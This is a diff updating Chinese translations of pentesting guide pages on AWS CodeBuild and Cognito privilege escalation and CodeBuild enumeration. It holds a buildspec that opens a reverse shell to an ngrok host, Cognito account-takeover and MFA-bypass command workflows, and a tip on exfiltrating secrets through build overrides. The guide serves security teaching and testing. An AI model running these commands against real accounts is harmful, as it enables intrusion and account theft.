如果拥有 **足够的权限来启动 ssm session**,就有可能 **进入正在构建的 Codebuild project**。
|
||||
|
||||
该 Codebuild project 需要有一个 breakpoint:
|
||||
|
||||
@@ -319,13 +382,13 @@ commands:
|
||||
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
|
||||
aws ssm start-session --target <sessionTarget> --region <region>
|
||||
```
|
||||
更多信息请参阅 [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
|
||||
更多信息请 [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
如果攻击者能够启动或重启一个将其 `buildspec.yml` 文件存储在攻击者具有写权限的 S3 存储桶中的特定 CodeBuild 项目的构建,则可以在 CodeBuild 进程中获得命令执行。
|
||||
如果 attacker 能够启动或重启 某个 CodeBuild 项目的构建,而该项目将其 `buildspec.yml` 文件存放在 attacker 对其具有 write access 的 S3 bucket 上,那么 attacker 可以在 CodeBuild 进程中获得 command execution。
|
||||
|
||||
注意:只有在 CodeBuild worker 使用不同且(希望)权限更高的角色时,此提权才有意义。
|
||||
Note:该提权仅在 CodeBuild worker 的 role 与 attacker 不同且(理想情况下)比 attacker 具有更高权限时才相关。
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -342,7 +405,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
你可以使用类似这样的 **buildspec** 来获取 **reverse shell**:
|
||||
你可以使用类似下面的 **buildspec** 来获取 **reverse shell**:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -351,13 +414,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impact:** 对通常具有高权限的 AWS CodeBuild worker 使用的角色进行直接 privesc。
|
||||
**Impact:** 对用于 AWS CodeBuild worker 的角色进行直接 privesc,该角色通常具有高权限。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,buildspec 可能以 zip 格式存在,因此攻击者需要下载、解压、在根目录修改 `buildspec.yml`,重新压缩并上传
|
||||
> 注意 buildspec 可能以 zip 格式存在,因此攻击者需要下载、解压、修改根目录下的 `buildspec.yml`,然后重新压缩并上传
|
||||
|
||||
More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potential Impact:** 对附加的 AWS Codebuild 角色进行直接 privesc。
|
||||
**Potential Impact:** 直接 privesc 到附加的 AWS Codebuild 角色。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,23 +4,23 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
有关 Cognito 的更多信息,请参阅:
|
||||
For more info about Cognito check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### 从 Identity Pool 收集凭证
|
||||
### Gathering credentials from Identity Pool
|
||||
|
||||
由于 Cognito 可以向 **IAM role credentials** 授予给 **authenticated** 和 **unauthenticated** **users**,如果你定位到某个应用的 **Identity Pool ID**(通常被硬编码在应用中),你可以获取新的凭证,从而实现 privesc(在一个你可能之前甚至没有任何凭证的 AWS 账户内)。
|
||||
由于 Cognito 可以向 **authenticated** 和 **unauthenticated** **users** 授予 **IAM role credentials**,如果你找到某个应用的 **Identity Pool ID**(通常被硬编码在应用中),就能获取新的凭证,从而在该 AWS 帐号中实现 privesc(即使你之前可能根本没有任何凭证)。
|
||||
|
||||
有关更多信息 [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
|
||||
|
||||
**Potential Impact:** 直接对附加到 unauth users 的 services role 进行 privesc(并可能对附加到 auth users 的 role 也适用)。
|
||||
**潜在影响:** 直接对附加到 unauth users 的 service role 实现 privesc(很可能也包括附加到 auth users 的那个)。
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
拥有该权限后,你可以 **grant any cognito role** 给 cognito app 的 authenticated/unauthenticated users。
|
||||
具有此权限时,你可以 **grant any cognito role** 给该 cognito 应用的 authenticated/unauthenticated users。
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
如果 cognito 应用 **未启用未认证用户**,你可能还需要权限 `cognito-identity:UpdateIdentityPool` 来启用它。
|
||||
If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it.
|
||||
|
||||
**潜在影响:** 直接 privesc 到任何 cognito role。
|
||||
**潜在影响:** 直接对任何 cognito 角色进行 privesc。
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
拥有此权限的攻击者可以例如在其控制下设置一个 Cognito User Pool,或配置任何其他身份提供者,从而作为访问该 Cognito Identity Pool 的一种途径。然后,只需在该用户提供者上 **login** 就会**允许他访问 Identity Pool 中配置的 authenticated role**。
|
||||
拥有该权限的攻击者可以例如设置一个由其控制的 Cognito User Pool,或任何其他身份提供者,使得当他在该提供者上 **login** 时,作为访问该 **Cognito Identity Pool** 的一种方式。然后,只要在该用户提供者上 **login**,就会**允许他访问在 Identity Pool 中配置的 authenticated role**。
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
也可以**滥用此权限来允许 basic auth**:
|
||||
也可以 **滥用此权限以允许 basic auth**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
**Potential Impact**: 妥协 identity pool 中配置的 authenticated IAM role。
|
||||
**Potential Impact**: 可能妥协 identity pool 中配置的 authenticated IAM role。
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
该权限允许 **add a Cognito user to a Cognito group**,因此 an attacker 可以滥用该权限将其控制的用户添加到具有 **better** 特权或 **different IAM roles** 的其他组:
|
||||
此权限允许 **add a Cognito user to a Cognito group**,因此攻击者可以滥用此权限将其控制的用户添加到其他组,从而获得 **更高** 的权限或 **different IAM roles**:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
```
|
||||
**Potential Impact:** Privesc 到其他 Cognito groups 和附加到 User Pool Groups 的 IAM roles。
|
||||
**潜在影响:** 提权到其他 Cognito 组以及附加到 User Pool Groups 的 IAM 角色。
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
拥有这些权限的攻击者可以**create/update groups**,并在这些组中使用**每个可被妥协的 Cognito Identity Provider 使用的 IAM role**,将被妥协的用户加入组,从而访问所有这些角色:
|
||||
拥有这些权限的攻击者可以 **创建/更新组**,将 **每个可被妥协的 Cognito Identity Provider 使用的 IAM 角色** 附加到这些组,并将被妥协的用户加入该组,从而访问所有这些角色:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
**潜在影响:** Privesc to other Cognito IAM roles.
|
||||
**潜在影响:** Privesc 到其他 Cognito IAM 角色。
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
此权限允许**验证注册**。默认情况下,任何人都可以登录 Cognito 应用程序,如果保留此设置,用户可以使用任意信息创建账户,并使用此权限对其进行验证。
|
||||
此权限允许**验证注册**。默认情况下,任何人都可以在 Cognito 应用中注册;如果保持此设置,用户可以使用任意信息创建账户并用此权限进行验证。
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**Potential Impact:** 如果你能够注册新用户,可能会间接导致对 identity pool IAM role 的 privesc(针对已认证用户)。也可能间接导致对应用其他功能的 privesc,因为能够确认任何账户。
|
||||
**潜在影响:** 如果你可以注册一个新用户,可能会间接对 identity pool IAM role(针对已认证用户)造成 privesc。对能够确认任意账户的其他应用功能也可能造成间接 privesc。
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
此权限允许攻击者在 user pool 中创建新用户。新用户以已启用状态创建,但需要更改其密码。
|
||||
该权限允许攻击者在 user pool 中创建新用户。新用户会被创建为启用状态,但需要更改密码。
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
**Potential Impact:** 直接 privesc 到 identity pool IAM role(针对已认证用户)。间接 privesc 到其他应用功能,使其能够创建任意用户
|
||||
**潜在影响:** 直接 privesc 到 identity pool IAM role(针对认证用户)。间接 privesc 到其他应用功能,使其能够创建任意用户
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
该权限在极少见的边缘场景下可能有用:当攻击者获得了一个被禁用用户的凭据并需要 **再次启用该用户** 时。
|
||||
此权限在非常边缘的场景中可能有用:当攻击者发现某个被禁用用户的凭证并且需要**再次启用**该用户时。
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
**潜在影响:** 间接 privesc 到 identity pool IAM role(针对已认证用户),以及如果攻击者拥有被禁用用户的凭据,则可能获得该用户的权限。
|
||||
**潜在影响:** 间接 privesc 到 identity pool IAM role(针对已认证用户),如果攻击者拥有被禁用用户的凭证,也可能获得该用户的权限。
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
此权限允许使用 [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 更多信息请查看该链接。
|
||||
此权限允许使用 [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 更多信息请参阅该链接。
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
此权限将允许攻击者 **更改任何用户的密码**,从而能够冒充任何用户(未启用 MFA 的用户)。
|
||||
此权限将允许攻击者 **为任意用户设置已知密码**,通常会导致 **直接接管账户**(尤其是在受害者未启用 MFA,或在相关 auth flow/client 未强制 MFA 的情况下)。
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**潜在影响:** 可能直接对任意用户执行 privesc,从而访问该用户所属的所有组,并获取 Identity Pool authenticated IAM role 的访问权限。
|
||||
常见工作流程:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
VICTIM_USERNAME="<victim_username_or_email>"
|
||||
NEW_PASS='P@ssw0rd-ChangeMe-123!'
|
||||
|
||||
# 1) Set a permanent password for the victim (takeover primitive)
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$VICTIM_USERNAME" \
|
||||
--password "$NEW_PASS" \
|
||||
--permanent
|
||||
|
||||
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
|
||||
```
|
||||
相关权限:`cognito-idp:AdminResetUserPassword` 可用于强制触发受害者的重置流程(影响取决于密码恢复的实现方式以及攻击者能拦截或控制的内容)。
|
||||
|
||||
**Potential Impact:** 任意用户的账户接管;访问应用层权限(组/角色/声明)和任何信任 Cognito 令牌的下游系统;可能访问 Identity Pool 已认证的 IAM 角色。
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: 攻击者可能滥用此权限,将其控制的手机设置为用户的 **SMS MFA**。
|
||||
**AdminSetUserSettings**:攻击者可能滥用此权限,将其控制的手机设置为用户的 **SMS MFA**。
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** 类似于之前的权限,这个权限可以用来设置用户的MFA偏好,从而绕过MFA保护。
|
||||
**SetUserMFAPreference:** 与前一个类似,此权限可用于设置用户的 MFA 偏好,从而 bypass MFA 保护。
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: 与前一个类似,此权限可用于设置 user pool 的 MFA 首选项,以绕过 MFA 保护。
|
||||
**SetUserPoolMfaConfig**: 与上一个类似,此权限可用于设置用户池的 MFA 首选项,以绕过 MFA 保护。
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** 也可以更新用户池以更改 MFA 策略。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** 也可以更新 User Pool 来更改 MFA 策略。[Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** 可能对攻击者已知凭证的任何用户造成间接的 privesc,这可能允许绕过 MFA 保护。
|
||||
**Potential Impact:** 对于攻击者已知凭证的任何用户来说可能导致间接 privesc,这可能允许绕过 MFA 保护。
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
拥有此权限的攻击者可以更改其控制下用户的电子邮件、电话号码或任何其他属性,以尝试在底层应用中获取更高权限。\
|
||||
这允许更改电子邮件或电话号码并将其标记为已验证。
|
||||
拥有此权限的攻击者可以更改 User Pool 用户的**任何可变属性**(包括 `custom:*` 属性),以试图在底层应用中获取特权。
|
||||
|
||||
一个常见且高影响的模式是使用 **自定义属性** 实现的 **基于声明的 RBAC**(例如 `custom:role=admin`)。如果应用信任该声明,更新它并重新认证就能在不接触应用的情况下绕过授权。
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**潜在影响:** 可能导致在使用 Cognito User Pool 的底层应用中发生间接 privesc,该应用基于用户属性授予权限。
|
||||
示例:升级您自己的 role 并刷新 refresh tokens:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
USER_POOL_ID="<user_pool_id>"
|
||||
USERNAME="<your_username>"
|
||||
|
||||
# 1) Change the RBAC attribute (example)
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--region "$REGION" \
|
||||
--user-pool-id "$USER_POOL_ID" \
|
||||
--username "$USERNAME" \
|
||||
--user-attributes Name="custom:role",Value="admin"
|
||||
|
||||
# 2) Re-authenticate to obtain a token with updated claims
|
||||
CLIENT_ID="<user_pool_app_client_id>"
|
||||
PASSWORD="<your_password>"
|
||||
aws cognito-idp initiate-auth \
|
||||
--no-sign-request --region "$REGION" \
|
||||
--client-id "$CLIENT_ID" \
|
||||
--auth-flow USER_PASSWORD_AUTH \
|
||||
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
|
||||
```
|
||||
**潜在影响:** 在信任 Cognito 属性/声明 进行授权的应用中导致间接 privesc;能够修改其他与安全相关的属性(例如将 `email_verified` 或 `phone_number_verified` 设为 `true` 在某些应用中可能产生影响)。
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
拥有此权限的攻击者可以 **创建一个比现有的 User Pool Client 更不受限制的新客户端**。例如,新客户端可能允许任何类型的认证方法、不需要任何 secret、禁用 token revocation、允许 tokens 有更长的有效期...
|
||||
拥有此权限的攻击者可以**创建一个比现有池客户端限制更少的 User Pool Client**。例如,新客户端可能允许任意类型的认证方法、不包含任何 secret、禁用 token revocation、使 tokens 的有效期更长等……
|
||||
|
||||
如果不是创建新客户端,而是对 **现有的客户端进行修改**,也可以达到同样的效果。
|
||||
同样的情况也可以通过不创建新客户端而**修改现有客户端**来实现。
|
||||
|
||||
在 [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)(或 [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))中可以看到所有选项,去查看吧!
|
||||
在[**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)(或[**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))中可以看到所有选项,去查看!
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
**潜在影响:** 可能间接对由 User Pool 使用并在 Identity Pool 中被授权的用户造成 privesc,方法是创建一个放宽安全措施的新 client,使 attacker 能使用其创建的 user 登录。
|
||||
**潜在影响:** 可能通过创建一个新的 client 放宽安全措施,从而使攻击者使用其创建的用户登录,间接对被 User Pool 使用的 Identity Pool 授权用户造成 privesc。
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
attacker 可以滥用该权限,通过上传包含新 users 的 csv 来创建 users。
|
||||
攻击者可以滥用此权限,通过上传包含新用户的 csv 来创建用户。
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(在你创建新的 import job 的情况下,你可能还需要 iam passrole permission,我还没有测试过。)
|
||||
(在你创建新的 import job 的情况下,你可能还需要 iam passrole permission,我还没测试过。)
|
||||
|
||||
**潜在影响:** 对 authenticated users 的 identity pool IAM role 的直接 privesc。间接 privesc:其他应用功能可能被用于创建任意用户。
|
||||
**Potential Impact:** 直接 privesc 到 identity pool IAM role(针对已认证用户)。间接地可能导致对应用其他功能的 privesc,使其能够创建任意用户。
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
攻击者可以创建一个新的 identity provider,从而能够 **login through this provider**。
|
||||
攻击者可以创建一个新的 identity provider,从而能够 **通过该提供者登录**。
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
@@ -230,16 +278,16 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potential Impact:** 对已验证用户可直接对 identity pool IAM role 进行 privesc。间接 privesc 可能导致应用的其他功能能够创建任意用户。
|
||||
**Potential Impact:** 直接提权到 identity pool IAM role(针对已认证用户)。间接提权到其他应用功能,从而能够创建任意用户。
|
||||
|
||||
### cognito-sync:\* 分析
|
||||
|
||||
这是 Cognito Identity Pools 角色中默认非常常见的权限。即使权限中的通配符看起来总是不好(尤其是来自 AWS),**这些授予的权限从攻击者角度来看并不是非常有用**。
|
||||
这是在 Cognito Identity Pools 的角色中默认非常常见的权限。即使权限中的通配符看起来总是很糟(尤其来自 AWS),但 **给定的权限从攻击者的角度来看并不是非常有用**。
|
||||
|
||||
该权限允许读取 Identity Pools 及其内部的 Identity IDs 的用户信息(这些并非敏感信息)。\
|
||||
Identity IDs 可能被分配有 [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html),这些是会话信息(AWS 将其定义为一个 **saved game**)。这些可能包含某种敏感信息(但概率很低)。你可以在 [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) 找到如何访问这些信息。
|
||||
此权限允许读取 Identity Pools 的使用信息以及 Identity Pools 内的 Identity IDs(这不是敏感信息)。\
|
||||
Identity IDs 可能会被分配 [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html),它们是会话的信息(AWS 将其定义为 **saved game**)。这些内容可能包含某种敏感信息(但概率很低)。你可以在 [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) 找到如何访问这些信息。
|
||||
|
||||
攻击者也可以使用这些权限 **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**。我没见过有人利用过这点,也不期待这里会有敏感信息,但并非不可能。
|
||||
攻击者也可以利用这些权限 **订阅一个 Cognito stream 来发布这些 datasets 的变更**,或利用 **触发于 cognito events 的 lambda**。我还没见过有人利用这个,我也不期望这里有敏感信息,但这并非不可能。
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
@@ -249,7 +297,7 @@ For a description of the modules' functions see part 2 of the [blog post](https:
|
||||
|
||||
#### Usage
|
||||
|
||||
示例 cognito\_\_attack 用法,用于针对指定的 identity pool 和 user pool client 尝试 user creation 以及所有 privesc 向量:
|
||||
示例 cognito\_\_attack 用法,用于尝试对给定的 identity pool 和 user pool client 执行用户创建以及所有提权向量:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
@@ -259,16 +307,16 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 python 编写的 CLI 工具,实现了对 Cognito 的多种攻击,包括 privesc escalation。
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个 CLI 工具,用 python 实现了对 Cognito 的多种攻击,包括 privesc escalation。
|
||||
|
||||
#### 安装
|
||||
```bash
|
||||
$ pip install cognito-scanner
|
||||
```
|
||||
#### 使用
|
||||
#### 用法
|
||||
```bash
|
||||
$ cognito-scanner --help
|
||||
```
|
||||
欲了解更多信息,请查看 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
有关更多信息,请查看 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,32 +1,32 @@
|
||||
# AWS - Codebuild Enum
|
||||
# AWS - Codebuild 枚举
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
AWS **CodeBuild** 被认为是一个 **完全托管的持续集成服务**。该服务的主要目的是自动化编译源代码、执行测试和打包软件以便于部署的过程。CodeBuild 提供的主要好处在于它能够减轻用户配置、管理和扩展构建服务器的需求。这种便利性是因为服务本身管理这些任务。AWS CodeBuild 的基本功能包括:
|
||||
AWS **CodeBuild** 被视为一个 **完全托管的持续集成服务**。该服务的主要目的是自动化编译源代码、执行测试并打包软件以便部署的流程。CodeBuild 的主要好处在于它免除了用户为构建服务器进行配置、管理和扩展的需求,因为这些由服务本身负责管理。AWS CodeBuild 的主要特性包括:
|
||||
|
||||
1. **托管服务**:CodeBuild 管理和扩展构建服务器,使用户免于服务器维护。
|
||||
2. **持续集成**:它与开发和部署工作流程集成,自动化软件发布过程中的构建和测试阶段。
|
||||
3. **包生产**:在构建和测试阶段之后,它准备软件包,使其准备好进行部署。
|
||||
1. **Managed Service**:CodeBuild 管理并扩展构建服务器,免除用户的服务器维护工作。
|
||||
2. **Continuous Integration**:它与开发和部署工作流集成,自动化软件发布过程中的构建和测试阶段。
|
||||
3. **Package Production**:在构建和测试阶段之后,它准备好软件包以供部署。
|
||||
|
||||
AWS CodeBuild 与其他 AWS 服务无缝集成,提高了 CI/CD(持续集成/持续部署)管道的效率和可靠性。
|
||||
AWS CodeBuild 无缝集成其他 AWS 服务,提高 CI/CD (Continuous Integration/Continuous Deployment) 管道的效率和可靠性。
|
||||
|
||||
### **Github/Gitlab/Bitbucket 凭证**
|
||||
### **Github/Gitlab/Bitbucket 凭据**
|
||||
|
||||
#### **默认源凭证**
|
||||
#### **Default source credentials**
|
||||
|
||||
这是一个遗留选项,可以配置一些 **访问**(如 Github 令牌或应用),这些访问将 **在 codebuild 项目之间共享**,以便所有项目都可以使用这组配置的凭证。
|
||||
这是一个遗留选项,可以配置一些访问(例如 Github token 或 app),这些访问会在 **codebuild 项目之间共享**,因此所有项目都可以使用这组已配置的凭据。
|
||||
|
||||
存储的凭证(令牌、密码等)由 **codebuild 管理**,并且没有任何公共方式可以从 AWS API 中检索它们。
|
||||
存储的凭据(tokens、passwords...)是 **由 codebuild 管理的**,并且没有公开的方法可以通过 AWS APIs 检索它们。
|
||||
|
||||
#### 自定义源凭证
|
||||
#### 自定义源凭据
|
||||
|
||||
根据存储库平台(Github、Gitlab 和 Bitbucket),提供不同的选项。但一般来说,任何需要 **存储令牌或密码的选项将作为秘密存储在秘密管理器中**。
|
||||
根据仓库平台(Github、Gitlab 和 Bitbucket)提供不同的选项。但总体来说,任何需要存储 token 或 password 的选项都会将其作为 secret 存储在 secrets manager 中。
|
||||
|
||||
这允许 **不同的 codebuild 项目使用不同配置的访问** 提供者,而不仅仅是使用配置的默认访问。
|
||||
这允许 **不同的 codebuild 项目使用不同的配置访问** 提供商,而不是仅使用配置的默认访问。
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
```bash
|
||||
# List external repo creds (such as github tokens)
|
||||
## It doesn't return the token but just the ARN where it's located
|
||||
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
|
||||
aws codebuild list-reports
|
||||
aws codebuild describe-test-cases --report-arn <ARN>
|
||||
```
|
||||
> [!TIP]
|
||||
> 如果你拥有 `codebuild:StartBuild`,请记住通常可以在构建时覆盖环境变量(`--environment-variables-override`)。即使没有 `UpdateProject` 或 `buildspec` 覆盖,这也足以用于某些攻击(例如:将 artifact/upload buckets 重定向以 exfiltrate secrets,或滥用 language/runtime env vars 来执行命令)。
|
||||
|
||||
### Privesc
|
||||
|
||||
在以下页面中,您可以查看如何**滥用codebuild权限以提升特权**:
|
||||
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codebuild-privesc/README.md
|
||||
@@ -67,7 +70,7 @@ aws codebuild describe-test-cases --report-arn <ARN>
|
||||
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user